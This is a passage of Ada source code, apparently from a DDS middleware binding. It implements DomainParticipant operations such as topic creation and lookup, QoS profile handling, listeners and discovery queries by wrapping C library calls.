-- It already exists in Ada
return DDS.Publisher.Ref_Access (DDS.Publisher_Impl.Get_FacadeI
(C_Publisher));
end if;
end Get_Implicit_Publisher;
-----------------------------
-- Get_Implicit_Subscriber --
-----------------------------
function Get_Implicit_Subscriber
(Self : not null access Ref)
return DDS.Subscriber.Ref_Access is
C_Subscriber : System.Address := System.Null_Address;
Subscriber : DDS.Subscriber_Impl.Ref_Access;
Is_Newly_Created : aliased DDS_Boolean := 0;
Need_To_Enable : aliased DDS_Boolean := 0;
use type DDS.Subscriber_Impl.Ref_Access;
begin
-- Get implicit subscriber
C_Subscriber := DDS_DomainParticipant_Get_Implicit_SubscriberI
(Self.GetInterface, Is_Newly_Created'Access, Need_To_Enable'Access,
1);
if C_Subscriber = System.Null_Address then
return null;
end if;
-- If it had just been created in C, then create in Ada
if Is_Newly_Created = 1 then
Subscriber := DDS.Subscriber_Impl.Create_WrapperI (C_Subscriber);
if Subscriber = null then
begin
DDS.Ret_Code_To_Exception
(DDS_DomainParticipant_Delete_Subscriber
(Self.GetInterface,
C_Subscriber));
exception
when others =>
null;
end;
return null;
end if;
if Need_To_Enable = 1 then
Subscriber.Enable;
end if;
return DDS.Subscriber.Ref_Access (Subscriber);
else
-- It already exists in Ada
return DDS.Subscriber.Ref_Access (DDS.Subscriber_Impl.Get_FacadeI
(C_Subscriber));
end if;
end Get_Implicit_Subscriber;
------------------
-- Create_Topic --
------------------
function Create_Topic
(Self : not null access Ref;
Topic_Name : in DDS.String;
Type_Name : in DDS.String;
Qos : in DDS.TopicQos;
A_Listener : in DDS.TopicListener.Ref_Access;
Mask : in DDS.StatusMask)
return DDS.Topic.Ref_Access is
begin
return (Topic_Impl.CreateI (DomainParticipant.Ref_Access (Self),
Topic_Name,
Type_Name,
Qos,
A_Listener,
Mask));
end Create_Topic;
function Create_Topic_With_Profile
(Self : not null access Ref;
Topic_Name : in DDS.String;
Type_Name : in DDS.String;
Library_Name : in DDS.String;
Profile_Name : in DDS.String;
A_Listener : in DDS.TopicListener.Ref_Access := null;
Mask : in DDS.StatusMask := STATUS_MASK_NONE)
return DDS.Topic.Ref_Access is
Qos : DDS.TopicQos;
Ret : DDS.Topic.Ref_Access;
begin
Self.Get_Default_Topic_Qos (Qos);
DomainParticipantFactory.
Get_Instance.Get_Topic_Qos_From_Profile_W_Topic_Name
(Qos,
Library_Name,
Profile_Name,
Topic_Name);
Ret := Self.Create_Topic (Topic_Name, Type_Name, Qos, A_Listener, Mask);
return Ret;
end Create_Topic_With_Profile;
function Create_Topic_With_Profile
(Self : not null access Ref;
Topic_Name : in DDS.String;
Type_Name : in DDS.String;
Library_Name : in Standard.String;
Profile_Name : in Standard.String;
A_Listener : in DDS.TopicListener.Ref_Access := null;
Mask : in DDS.StatusMask := STATUS_MASK_NONE)
return DDS.Topic.Ref_Access is
Qos : DDS.TopicQos;
Ret : DDS.Topic.Ref_Access;
L : DDS.String := To_DDS_String (Library_Name);
P : DDS.String := To_DDS_String (Profile_Name);
begin
Self.Get_Default_Topic_Qos (Qos);
DomainParticipantFactory.
Get_Instance.Get_Topic_Qos_From_Profile_W_Topic_Name
(Qos,
L,
P,
Topic_Name);
Finalize (L);
Finalize (P);
Ret := Self.Create_Topic (Topic_Name, Type_Name, Qos, A_Listener, Mask);
return Ret;
end Create_Topic_With_Profile;
function Get_Or_Create_Topic
(Self : not null access Ref;
Topic_Name : in DDS.String;
Type_Name : in DDS.String;
Qos : in DDS.TopicQos := DDS.DomainParticipant.TOPIC_QOS_DEFAULT;
A_Listener : in DDS.TopicListener.Ref_Access := null;
Mask : in DDS.StatusMask := STATUS_MASK_NONE)return DDS.Topic.Ref_Access is
use type DDS.TopicDescription.Ref_Access;
use type DDS.Topic.Ref_Access;
Temp : DDS.TopicDescription.Ref_Access;
begin
return Ret : DDS.Topic.Ref_Access do
Temp := self.Lookup_Topicdescription (Topic_Name);
if Temp = null then
Ret := Self.Create_Topic (Topic_Name, Topic_Name, Qos, A_Listener, Mask);
else
Ret := Topic.Narrow (Temp);
end if;
end return;
end;
function Get_Or_Create_Topic_With_Profile
(Self : not null access Ref;
Topic_Name : in DDS.String;
Type_Name : in DDS.String;
Library_Name : in DDS.String;
Profile_Name : in DDS.String;
A_Listener : in DDS.TopicListener.Ref_Access := null;
Mask : in DDS.StatusMask := STATUS_MASK_NONE)return DDS.Topic.Ref_Access is
use type DDS.TopicDescription.Ref_Access;
use type DDS.Topic.Ref_Access;
Temp : DDS.TopicDescription.Ref_Access;
begin
return Ret : DDS.Topic.Ref_Access do
Temp := self.Lookup_Topicdescription (Topic_Name);
if Temp = null then
Ret := Self.Create_Topic_With_Profile (Topic_Name, Topic_Name, Library_Name, Profile_Name, A_Listener, Mask);
else
Ret := Topic.Narrow (Temp);
end if;
end return;
end;
------------------
-- Delete_Topic --
------------------
procedure Delete_Topic
(Self : not null access Ref;
A_Topic : in out DDS.Topic.Ref_Access)
is
T_Impl : constant DDS.Topic_Impl.Ref_Access := DDS.Topic_Impl.Ref_Access (A_Topic);
use type DDS.Topic_Impl.Ref_Access;
begin
if T_Impl /= null then
if T_Impl.As_TopicWrapper_I /= null then
Ret_Code_To_Exception (DDS_DomainParticipant_Delete_Topic (Self.GetInterface, T_Impl.As_TopicWrapper_I));
end if;
end if;
A_Topic := null;
end Delete_Topic;
----------------
-- Find_Topic --
----------------
function Find_Topic
(Self : not null access Ref;
Topic_Name : in DDS.String;
Timeout : in DDS.Duration_T)
return DDS.Topic.Ref_Access
is
C_TopicW : access RTIDDS.Low_Level.ndds_dds_c_dds_c_topic_h.DDS_Topic;
Topic : DDS.Topic_Impl.Ref_Access;
Timeoutl : aliased Dds_Duration_T := (Int (Timeout.Sec), Unsigned (Timeout.Nanosec));
use type DDS.Topic_Impl.Ref_Access;
begin
C_TopicW := DDS_DomainParticipant_Find_Topic (Self.GetInterface, GetInterface (Topic_Name).all, Timeoutl'Access);
if C_TopicW /= null then
Topic := DDS.Topic_Impl.Create_ReferenceI (C_TopicW);
if Topic = null then
return null;
end if;
return DDS.Topic.Ref_Access (Topic);
end if;
return null;
end Find_Topic;
-----------------------------
-- Lookup_Topicdescription --
-----------------------------
function Lookup_Topicdescription
(Self : not null access Ref;
Name : in DDS.String)
return DDS.TopicDescription.Ref_Access
is
C_TopicD : System.Address;
C_TopicW : access DDS_Topic;
CF_TopicW : access DDS_ContentFilteredTopic;
Topic : DDS.Topic_Impl.Ref_Access;
CFTopic : DDS.ContentFilteredTopic_Impl.Ref_Access;
Is_Newly_Created : aliased DDS_Boolean := 0;
Need_To_Enable : aliased DDS_Boolean := 0;
use type DDS.Topic_Impl.Ref_Access;
use type DDS.ContentFilteredTopic_Impl.Ref_Access;
begin
-- Lookup Topic Description, regardless of being user-created or built-in
C_TopicD := DDS_DomainParticipant_Lookup_TopicdescriptionI
(Self.GetInterface, Is_Newly_Created'Access, Need_To_Enable'Access,
1, GetInterface (Name).all);
if C_TopicD = System.Null_Address then
return null;
end if;
C_TopicW := DDS_Topic_Narrow (C_TopicD);
-- If it's not a Topic, check for a ContentFilteredTopic
if C_TopicW = null then
CF_TopicW := DDS_ContentFilteredTopic_Narrow (C_TopicD);
CFTopic := DDS.ContentFilteredTopic_Impl.Get_FacadeI (CF_TopicW);
if CFTopic = null then
return null;
end if;
return DDS.TopicDescription.Ref_Access (CFTopic);
end if;
-- If it's a builtin topic and had just been created in C, then create in Ada
if Is_Newly_Created = 1 then
Topic := DDS.Topic_Impl.Create_WrapperI (C_TopicW);
if Topic = null then
return null;
end if;
-- Needs to be enabled?
if Need_To_Enable = 1 then
Topic.Enable;
end if;
return Topic.As_TopicDescription_I;
else
-- It already exists in Ada
Topic := DDS.Topic_Impl.Get_FacadeI (C_TopicW);
if Topic = null then
return null;
end if;
return Topic.As_TopicDescription_I;
end if;
end Lookup_Topicdescription;
---------------------------------
-- Create_Contentfilteredtopic --
---------------------------------
function Create_Contentfilteredtopic
(Self : not null access Ref;
Name : in DDS.String;
Related_Topic : in DDS.Topic.Ref_Access;
Filter_Expression : in DDS.String;
Filter_Parameters : access DDS.String_Seq.Sequence)
return DDS.ContentFilteredTopic.Ref_Access
is
begin
return DDS.ContentFilteredTopic_Impl.CreateI (Self.GetInterface, Name, Related_Topic,
Filter_Expression, Filter_Parameters);
end Create_Contentfilteredtopic;
---------------------------------
-- Delete_Contentfilteredtopic --
---------------------------------
procedure Delete_Contentfilteredtopic
(Self : not null access Ref;
CFTopic : in out DDS.ContentFilteredTopic.Ref_Access)
is
CFT : ContentFilteredTopic_Impl.Ref_Access := ContentFilteredTopic_Impl.Ref_Access (CFTopic);
CFT_W : access RTIDDS.Low_Level.ndds_dds_c_dds_c_topic_h.DDS_ContentFilteredTopic;
use type ContentFilteredTopic_Impl.Ref_Access;
begin
if CFT /= null then
CFT_W := CFT.Get_Native_Wrapper;
if CFT_W /= null then
Ret_Code_To_Exception
(DDS_DomainParticipant_Delete_Contentfilteredtopic
(Self.GetInterface, CFT_W));
end if;
ContentFilteredTopic_Impl.Free (CFT);
CFTopic := null;
end if;
end Delete_Contentfilteredtopic;
---------------------------------
-- Create_MultiTopic --
---------------------------------
function Create_MultiTopic
(Self : not null access Ref;
Name : in DDS.String;
Type_Name : in DDS.String;
Subscription_Expression : in DDS.String;
Expression_Parameters : access DDS.String_Seq.Sequence)
return DDS.MultiTopic.Ref_Access
is
begin
raise DDS.UNSUPPORTED;
return null;
end Create_MultiTopic;
---------------------------------
-- Delete_MultiTopic --
---------------------------------
procedure Delete_MultiTopic
(Self : not null access Ref;
MTopic : in out DDS.MultiTopic.Ref_Access)
is
begin
raise DDS.UNSUPPORTED;
end Delete_MultiTopic;
---------------------------------
-- Create_FlowController --
---------------------------------
-- function Create_FlowController
-- (Self : not null access Ref;
-- name : DDS.String;
-- prop : access DDS.FlowControllerProperty_T)
-- return access DDS.FlowController.Ref'Class
-- is
-- begin
-- return DDS.FlowController_Impl.CreateI (Self, name, FALSE, prop);
-- end Create_FlowController;
-------------------------------
-- Delete_Contained_Entities --
-------------------------------
procedure Delete_Contained_Entities
(Self : not null access Ref)
is
begin
Ret_Code_To_Exception (DDS_DomainParticipant_Delete_Contained_Entities (Self.GetInterface), "Unable to delete entities");
end Delete_Contained_Entities;
-------------
-- Set_Qos --
-------------
procedure Set_Qos
(Self : not null access Ref;
Qos : in DDS.DomainParticipantQos)
is
begin
Ret_Code_To_Exception
(DDS_DomainParticipant_Set_Qos
(GetInterface (Self), GetInterface (Qos)));
end Set_Qos;
procedure Set_Qos_With_Profile
(Self : not null access Ref;
Library_Name : in String;
Profile_Name : in String)
is
begin
Ret_Code_To_Exception (DDS_DomainParticipant_Set_Qos_With_Profile (Self.GetInterface, GetInterface (Library_Name).all, GetInterface (Profile_Name).all));
end Set_Qos_With_Profile;
procedure Set_Qos_With_Profile
(Self : not null access Ref;
Library_Name : in Standard.String;
Profile_Name : in Standard.String)
is
L : Interfaces.C.Strings.Chars_Ptr := New_String (Library_Name);
P : Interfaces.C.Strings.Chars_Ptr := New_String (Profile_Name);
Ret : DDS_ReturnCode_T;
begin
Ret := DDS_DomainParticipant_Set_Qos_With_Profile (Self.GetInterface, L, P);
Free (L);
Free (P);
Ret_Code_To_Exception (Ret);
end Set_Qos_With_Profile;
-------------
-- Get_Qos --
-------------
procedure Get_Qos
(Self : not null access Ref;
Qos : in out DDS.DomainParticipantQos)
is
begin
Ret_Code_To_Exception (DDS_DomainParticipant_Get_Qos (GetInterface (Self), GetInterface (Qos)));
end Get_Qos;
------------------
-- Set_Listener --
------------------
procedure Set_Listener
(Self : not null access Ref;
A_Listener : in DDS.DomainParticipantListener.Ref_Access;
Mask : in DDS.StatusMask) is
-- All callbacks initialized in declaration
C_Listener : aliased RTIDDS.Low_Level.ndds_dds_c_dds_c_domain_h.DDS_DomainParticipantListener :=
DDS.DomainParticipantListener.Low_Level.DomainParticipantListener_DEFAULT;
use type DDS.DomainParticipantListener.Ref_Access;
function Convert is new Ada.Unchecked_Conversion (DDS.DomainParticipantListener.Ref_Access, System.Address);
begin
if A_Listener /= null then
C_Listener.As_Topiclistener.As_Listener.Listener_Data := Convert (A_Listener);
C_Listener.As_Publisherlistener.As_Datawriterlistener.As_Listener.Listener_Data := Convert (A_Listener);
C_Listener.As_Subscriberlistener.As_Datareaderlistener.As_Listener.Listener_Data := Convert (A_Listener);
if Self.GetInterface /= System.Null_Address then
Ret_Code_To_Exception
(DDS_DomainParticipant_Set_Listener (Self.GetInterface,
C_Listener'Unrestricted_Access, DDS_StatusMask (Mask)),
"Set Listener FAILED");
end if;
else
if Self.GetInterface /= System.Null_Address then
Ret_Code_To_Exception
(DDS_DomainParticipant_Set_Listener (Self.GetInterface,
null, DDS_StatusMask (Mask)),
"Set Listener FAILED");
end if;
end if;
end Set_Listener;
------------------
-- Get_Listener --
------------------
function Get_Listener
(Self : not null access Ref)
return DDS.DomainParticipantListener.Ref_Access is
C_Listener : DDS_DomainParticipantListener;
begin
Ret_Code_To_Exception
(DDS_DomainParticipant_Get_ListenerX
(Self.GetInterface,
C_Listener'Unrestricted_Access));
return Convert (C_Listener.As_Topiclistener.As_Listener.Listener_Data);
end Get_Listener;
------------------------
-- Ignore_Participant --
------------------------
procedure Ignore_Participant
(Self : not null access Ref;
Handle : in DDS.InstanceHandle_T)
is
Local_Handle : aliased constant DDS_InstanceHandle_T := DDS_InstanceHandle_T (Handle);
begin
Ret_Code_To_Exception
(DDS_DomainParticipant_Ignore_Participant
(Self.GetInterface,
Local_Handle'Access));
end Ignore_Participant;
------------------
-- Ignore_Topic --
------------------
procedure Ignore_Topic
(Self : not null access Ref;
Handle : in DDS.InstanceHandle_T)
is
Local_Handle : aliased constant DDS_InstanceHandle_T := DDS_InstanceHandle_T (Handle);
begin
Ret_Code_To_Exception
(DDS_DomainParticipant_Ignore_Topic
(Self.GetInterface,
Local_Handle'Access));
end Ignore_Topic;
------------------------
-- Ignore_Publication --
------------------------
procedure Ignore_Publication
(Self : not null access Ref;
Handle : in DDS.InstanceHandle_T)
is
Local_Handle : aliased constant DDS_InstanceHandle_T := DDS_InstanceHandle_T (Handle);
begin
Ret_Code_To_Exception
(DDS_DomainParticipant_Ignore_Publication
(Self.GetInterface,
Local_Handle'Access));
end Ignore_Publication;
-------------------------
-- Ignore_Subscription --
-------------------------
procedure Ignore_Subscription
(Self : not null access Ref;
Handle : in DDS.InstanceHandle_T)
is
Local_Handle : aliased constant DDS_InstanceHandle_T := DDS_InstanceHandle_T (Handle);
begin
Ret_Code_To_Exception
(DDS_DomainParticipant_Ignore_Subscription
(Self.GetInterface,
Local_Handle'Access));
end Ignore_Subscription;
-------------------
-- Get_Domain_Id --
-------------------
function Get_Domain_Id
(Self : not null access Ref)
return DDS.DomainId_T
is
begin
return DomainId_T (DDS_DomainParticipant_Get_Domain_Id (Self.GetInterface));
end Get_Domain_Id;
function Get_Factory
(Self : not null access Ref)
return not null access DDS.DomainParticipantFactory.Ref is
begin
return Self.Factory;
end Get_Factory;
-----------------------
-- Assert_Liveliness --
-----------------------
procedure Assert_Liveliness
(Self : not null access Ref)
is
begin
Ret_Code_To_Exception (DDS_DomainParticipant_Assert_Liveliness (Self.GetInterface));
end Assert_Liveliness;
--------------------------------
-- Set_Default_DataReader_Qos --
--------------------------------
procedure Set_Default_DataReader_Qos
(Self : not null access Ref;
Qos : in DDS.DataReaderQoS)
is
begin
Ret_Code_To_Exception (DDS_DomainParticipant_Set_Default_Datareader_Qos (Self.GetInterface, Qos.GetInterface));
end Set_Default_DataReader_Qos;
---------------------------------------------
-- Set_Default_DataReader_Qos_With_Profile --
---------------------------------------------
procedure Set_Default_DataReader_Qos_With_Profile
(Self : not null access Ref;
LibName : DDS.String;
ProfName : DDS.String)
is
begin
Ret_Code_To_Exception (DDS_DomainParticipant_Set_Default_Datareader_Qos_With_Profile (Self.GetInterface, GetInterface (LibName).all, GetInterface (ProfName).all));
end Set_Default_DataReader_Qos_With_Profile;
procedure Set_Default_DataReader_Qos_With_Profile
(Self : not null access Ref;
LibName : Standard.String;
ProfName : Standard.String)
is
L : Interfaces.C.Strings.Chars_Ptr := New_String (LibName);
P : Interfaces.C.Strings.Chars_Ptr := New_String (ProfName);
Ret : DDS_ReturnCode_T;
begin
Ret := DDS_DomainParticipant_Set_Default_Datareader_Qos_With_Profile (Self.GetInterface, L, P);
Free (L);
Free (P);
Ret_Code_To_Exception (Ret);
end Set_Default_DataReader_Qos_With_Profile;
--------------------------------
-- Set_Default_DataWriter_Qos --
--------------------------------
procedure Set_Default_DataWriter_Qos
(Self : not null access Ref;
Qos : in DDS.DataWriterQoS)
is
begin
Ret_Code_To_Exception (DDS_DomainParticipant_Set_Default_Datawriter_Qos (Self.GetInterface, Qos.GetInterface));
end Set_Default_DataWriter_Qos;
---------------------------------------------
-- Set_Default_DataWriter_Qos_With_Profile --
---------------------------------------------
procedure Set_Default_DataWriter_Qos_With_Profile
(Self : not null access Ref;
LibName : DDS.String;
ProfName : DDS.String)
is
begin
Ret_Code_To_Exception (DDS_DomainParticipant_Set_Default_Datawriter_Qos_With_Profile
(Self.GetInterface,
GetInterface (LibName).all,
GetInterface (ProfName).all));
end Set_Default_DataWriter_Qos_With_Profile;
procedure Set_Default_DataWriter_Qos_With_Profile
(Self : not null access Ref;
LibName : Standard.String;
ProfName : Standard.String)
is
L : Interfaces.C.Strings.Chars_Ptr := New_String (LibName);
P : Interfaces.C.Strings.Chars_Ptr := New_String (ProfName);
Ret : DDS_ReturnCode_T;
begin
Ret := DDS_DomainParticipant_Set_Default_Datawriter_Qos_With_Profile (Self.GetInterface, L, P);
Free (L);
Free (P);
Ret_Code_To_Exception (Ret);
end Set_Default_DataWriter_Qos_With_Profile;
-------------------------------
-- Set_Default_Publisher_Qos --
-------------------------------
procedure Set_Default_Publisher_Qos
(Self : not null access Ref;
Qos : in DDS.PublisherQos)
is
Qos_Address : access DDS_PublisherQos;
begin
if Qos'Address = DDS.DomainParticipant.PUBLISHER_QOS_DEFAULT'Address then
Qos_Address := DDS_PUBLISHER_QOS_DEFAULT'Unrestricted_Access;
else
Qos_Address := GetInterface (Qos);
end if;
Ret_Code_To_Exception
(DDS_DomainParticipant_Set_Default_Publisher_Qos
(Self.GetInterface, Qos_Address));
end Set_Default_Publisher_Qos;
--------------------------------------------
-- Set_Default_Publisher_Qos_With_Profile --
--------------------------------------------
procedure Set_Default_Publisher_Qos_With_Profile
(Self : not null access Ref;
LibName : DDS.String;
ProfName : DDS.String)
is
begin
Ret_Code_To_Exception (DDS_DomainParticipant_Set_Default_Publisher_Qos_With_Profile
(Self.GetInterface,
GetInterface (LibName),
GetInterface (ProfName)));
end Set_Default_Publisher_Qos_With_Profile;
procedure Set_Default_Publisher_Qos_With_Profile
(Self : not null access Ref;
LibName : Standard.String;
ProfName : Standard.String)
is
L : Interfaces.C.Strings.Chars_Ptr := New_String (LibName);
P : Interfaces.C.Strings.Chars_Ptr := New_String (ProfName);
Ret : DDS_ReturnCode_T;
begin
Ret := DDS_DomainParticipant_Set_Default_Publisher_Qos_With_Profile (Self.GetInterface, L, P);
Free (L);
Free (P);
Ret_Code_To_Exception (Ret);
end Set_Default_Publisher_Qos_With_Profile;
-------------------------------
-- Get_Default_Publisher_Qos --
-------------------------------
procedure Get_Default_Publisher_Qos
(Self : not null access Ref;
Qos : in out DDS.PublisherQos)
is
begin
Ret_Code_To_Exception (DDS_DomainParticipant_Get_Default_Publisher_Qos (Self.GetInterface, GetInterface (Qos)));
end Get_Default_Publisher_Qos;
--------------------------------
-- Set_Default_Subscriber_Qos --
--------------------------------
procedure Set_Default_Subscriber_Qos
(Self : not null access Ref;
Qos : in DDS.SubscriberQos)
is
Qos_Access : access DDS_SubscriberQos;
begin
if Qos'Address = DDS.DomainParticipant.SUBSCRIBER_QOS_DEFAULT'Address then
Qos_Access := DDS_SUBSCRIBER_QOS_DEFAULT'Unrestricted_Access;
else
Qos_Access := GetInterface (Qos);
end if;
Ret_Code_To_Exception
(DDS_DomainParticipant_Set_Default_Subscriber_Qos
(Self.GetInterface, Qos_Access));
end Set_Default_Subscriber_Qos;
---------------------------------------------
-- Set_Default_Subscriber_Qos_With_Profile --
---------------------------------------------
procedure Set_Default_Subscriber_Qos_With_Profile
(Self : not null access Ref;
LibraryName : DDS.String;
ProfileName : DDS.String)
is
begin
Ret_Code_To_Exception (DDS_DomainParticipant_Set_Default_Subscriber_Qos_With_Profile
(Self.GetInterface,
GetInterface (LibraryName),
GetInterface (ProfileName)));
end Set_Default_Subscriber_Qos_With_Profile;
procedure Set_Default_Subscriber_Qos_With_Profile
(Self : not null access Ref;
LibraryName : Standard.String;
ProfileName : Standard.String)
is
L : Interfaces.C.Strings.Chars_Ptr := New_String (LibraryName);
P : Interfaces.C.Strings.Chars_Ptr := New_String (ProfileName);
Ret : DDS_ReturnCode_T;
begin
Ret := DDS_DomainParticipant_Set_Default_Subscriber_Qos_With_Profile (Self.GetInterface, L, P);
Free (L);
Free (P);
Ret_Code_To_Exception (Ret);
end Set_Default_Subscriber_Qos_With_Profile;
--------------------------------
-- Get_Default_Subscriber_Qos --
--------------------------------
procedure Get_Default_Subscriber_Qos
(Self : not null access Ref;
Qos : in out DDS.SubscriberQos)
is
begin
Ret_Code_To_Exception (DDS_DomainParticipant_Get_Default_Subscriber_Qos (Self.GetInterface, GetInterface (Qos)));
end Get_Default_Subscriber_Qos;
--------------------------------
-- Get_Default_DataReader_Qos --
--------------------------------
procedure Get_Default_DataReader_Qos
(Self : not null access Ref;
Qos : in out DDS.DataReaderQoS)
is
begin
Ret_Code_To_Exception (DDS_DomainParticipant_Get_Default_Datareader_Qos (Self.GetInterface, GetInterface (Qos)));
end Get_Default_DataReader_Qos;
--------------------------------
-- Get_Default_DataReader_Qos --
--------------------------------
procedure Get_Default_DataWriter_Qos
(Self : not null access Ref;
Qos : in out DDS.DataWriterQos)
is
begin
Ret_Code_To_Exception (DDS_DomainParticipant_Get_Default_Datawriter_Qos (Self.GetInterface, GetInterface (Qos)));
end Get_Default_DataWriter_Qos;
---------------------------
-- Set_Default_Topic_Qos --
---------------------------
procedure Set_Default_Topic_Qos
(Self : not null access Ref;
Qos : in DDS.TopicQos)
is
Qos_Access : access DDS_TopicQos;
begin
if Qos'Address = DDS.DomainParticipant.TOPIC_QOS_DEFAULT'Address then
Qos_Access := DDS_TOPIC_QOS_DEFAULT'Unrestricted_Access;
else
Qos_Access := GetInterface (Qos);
end if;
Ret_Code_To_Exception
(DDS_DomainParticipant_Set_Default_Topic_Qos
(Self.GetInterface, Qos_Access));
end Set_Default_Topic_Qos;
----------------------------------------
-- Set_Default_Topic_Qos_With_Profile --
----------------------------------------
procedure Set_Default_Topic_Qos_With_Profile
(Self : not null access Ref;
LibraryName : DDS.String;
ProfileName : DDS.String)
is
begin
Ret_Code_To_Exception (DDS_DomainParticipant_Set_Default_Topic_Qos_With_Profile
(Self.GetInterface,
GetInterface (LibraryName),
GetInterface (ProfileName)));
end Set_Default_Topic_Qos_With_Profile;
procedure Set_Default_Topic_Qos_With_Profile
(Self : not null access Ref;
LibraryName : Standard.String;
ProfileName : Standard.String)
is
L : Interfaces.C.Strings.Chars_Ptr := New_String (LibraryName);
P : Interfaces.C.Strings.Chars_Ptr := New_String (ProfileName);
Ret : DDS_ReturnCode_T;
begin
Ret := DDS_DomainParticipant_Set_Default_Topic_Qos_With_Profile (Self.GetInterface, L, P);
Free (L);
Free (P);
Ret_Code_To_Exception (Ret);
end Set_Default_Topic_Qos_With_Profile;
---------------------------
-- Get_Default_Topic_Qos --
---------------------------
procedure Get_Default_Topic_Qos
(Self : not null access Ref;
Qos : in out DDS.TopicQos)
is
begin
Ret_Code_To_Exception
(DDS_DomainParticipant_Get_Default_Topic_Qos
(Self.GetInterface, GetInterface (Qos)));
end Get_Default_Topic_Qos;
-------------------------
-- Set_Default_Profile --
-------------------------
procedure Set_Default_Profile
(Self : not null access Ref;
Library_Name : DDS.String;
Profile_Name : DDS.String)
is
begin
Ret_Code_To_Exception
(DDS_DomainParticipant_Set_Default_Profile
(Self.GetInterface, GetInterface (Library_Name), GetInterface (Profile_Name)));
end Set_Default_Profile;
-------------------------
-- Set_Default_Library --
-------------------------
procedure Set_Default_Library
(Self : not null access Ref;
Library_Name : DDS.String)
is
begin
Ret_Code_To_Exception
(DDS_DomainParticipant_Set_Default_Library
(Self.GetInterface, GetInterface (Library_Name)));
end Set_Default_Library;
-------------------------
-- Get_Default_Library --
-------------------------
function Get_Default_Library
(Self : not null access Ref)
return DDS.String
is
begin
return Ret : Dds.String do
Copy (Ret, DDS_DomainParticipant_Get_Default_Library
(Self.GetInterface));
end return;
end Get_Default_Library;
-------------------------
-- Get_Default_Profile --
-------------------------
function Get_Default_Profile
(Self : not null access Ref)
return DDS.String
is
begin
return Ret : Dds.String do
Copy (Ret, DDS_DomainParticipant_Get_Default_Profile
(Self.GetInterface));
end return;
end Get_Default_Profile;
---------------------------------
-- Get_Default_Profile_Library --
---------------------------------
function Get_Default_Profile_Library
(Self : not null access Ref)
return DDS.String
is
begin
return Ret : Dds.String do
Copy (Ret, DDS_DomainParticipant_Get_Default_Profile_Library
(Self.GetInterface));
end return;
end Get_Default_Profile_Library;
-----------------------------------------
-- Get_Default_Flowcontroller_Property --
-----------------------------------------
procedure Get_Default_Flowcontroller_Property
(Self : not null access Ref;
Property : in out DDS.FlowControllerProperty_T)
is
begin
Ret_Code_To_Exception
(DDS_DomainParticipant_Get_Default_Flowcontroller_Property
(Self.GetInterface, GetInterface (Property)));
end Get_Default_Flowcontroller_Property;
-----------------------------------------
-- Set_Default_Flowcontroller_Property --
-----------------------------------------
procedure Set_Default_Flowcontroller_Property
(Self : not null access Ref;
Property : in DDS.FlowControllerProperty_T)
is
Fcp_Access : access DDS_FlowControllerProperty_T;
begin
if Property'Address = DDS.DomainParticipant.FLOW_CONTROLLER_PROPERTY_DEFAULT'Address then
Fcp_Access := DDS_FLOW_CONTROLLER_PROPERTY_DEFAULT'Unrestricted_Access;
else
Fcp_Access := GetInterface (Property);
end if;
Ret_Code_To_Exception
(DDS_DomainParticipant_Set_Default_Flowcontroller_Property
(Self.GetInterface, Fcp_Access));
end Set_Default_Flowcontroller_Property;
---------------------------------
-- Get_Discovered_Participants --
---------------------------------
function Get_Discovered_Participants
(Self : access Ref)
return DDS.InstanceHandle_Seq.Sequence
is
Arg : DDS_InstanceHandleSeq_Access;
begin
return Ret : DDS.InstanceHandle_Seq.Sequence do
DDS.InstanceHandle_Seq.Initialize (Ret'Unrestricted_Access);
Arg := Convert (Ret'Unrestricted_Access);
Ret_Code_To_Exception
(DDS_DomainParticipant_Get_Discovered_Participants
(Self.GetInterface, Arg));
end return;
end Get_Discovered_Participants;
-------------------------------------
-- Get_Discovered_Participant_Data --
-------------------------------------
function Get_Discovered_Participant_Data
(Self : not null access Ref;
Participant_Handle : in DDS.InstanceHandle_T)
return DDS.ParticipantBuiltinTopicData
is
type DDS_ParticipantBuiltinTopicData_Access is access all RTIDDS.Low_Level.ndds_dds_c_dds_c_builtin_h.DDS_ParticipantBuiltinTopicData;
function Convert is new Ada.Unchecked_Conversion (DDS.ParticipantBuiltinTopicData_Access, DDS_ParticipantBuiltinTopicData_Access);
begin
return Ret : DDS.ParticipantBuiltinTopicData do
initialize (Ret);
Ret_Code_To_Exception
(DDS_DomainParticipant_Get_Discovered_Participant_Data
(Self.GetInterface,
Convert (Ret'Unrestricted_Access),
PRESInstanceHandle (Participant_Handle)'Unrestricted_Access));
end return;
end Get_Discovered_Participant_Data;
---------------------------
-- Get_Discovered_Topics --
---------------------------
function Get_Discovered_Topics
(Self : access Ref)
return DDS.InstanceHandle_Seq.Sequence
is
Arg : DDS_InstanceHandleSeq_Access;
begin
return Ret : DDS.InstanceHandle_Seq.Sequence do
Arg := Convert (Ret'Unrestricted_Access);
Ret_Code_To_Exception
(DDS_DomainParticipant_Get_Discovered_Topics
(Self.GetInterface,
Arg));
end return;
end Get_Discovered_Topics;
-------------------------------
-- Get_Discovered_Topic_Data --
-------------------------------
function Get_Discovered_Topic_Data
(Self : not null access Ref;
Topic_Handle : in DDS.InstanceHandle_T)
return DDS.TopicBuiltinTopicData
is
begin
return Ret : DDS.TopicBuiltinTopicData do
Self.Get_Discovered_Topic_Data (Topic_Handle, Ret'Unrestricted_Access);
end return;
end Get_Discovered_Topic_Data;
procedure Get_Discovered_Topic_Data
(Self : not null access Ref;
Topic_Handle : in DDS.InstanceHandle_T;
Data : access DDS.TopicBuiltinTopicData) is
type TopicBuiltinTopicData_Access is access all DDS.TopicBuiltinTopicData;
type DDS_TopicBuiltinTopicData_Access is access all RTIDDS.Low_Level.ndds_dds_c_dds_c_builtin_h.DDS_TopicBuiltinTopicData;
function Convert is new Ada.Unchecked_Conversion (TopicBuiltinTopicData_Access, DDS_TopicBuiltinTopicData_Access);
begin
Ret_Code_To_Exception
(DDS_DomainParticipant_Get_Discovered_Topic_Data
(Self.GetInterface,
Convert (TopicBuiltinTopicData_Access (Data)),
DDS_InstanceHandle_T (Topic_Handle)'Unrestricted_Access));
end Get_Discovered_Topic_Data;
---------------------
-- Contains_Entity --
---------------------
function Contains_Entity
(Self : not null access Ref;
A_Handle : in DDS.InstanceHandle_T)
return Boolean
is
begin
return DDS_DomainParticipant_Contains_Entity
(Self.GetInterface,
DDS_InstanceHandle_T (A_Handle)'Unrestricted_Access) /= 0;
end Contains_Entity;
--------------------
-- Get_Publishers --
--------------------
procedure Get_Publishers
(Self : not null access Ref;
Publishers : access DDS.PublisherSeq.Sequence)
is
CPubs : aliased DDS_PublisherSeq;
Max_Length : DDS_Long;
New_Max : DDS_Long;
PublishersMax : Natural;
Index : Natural;
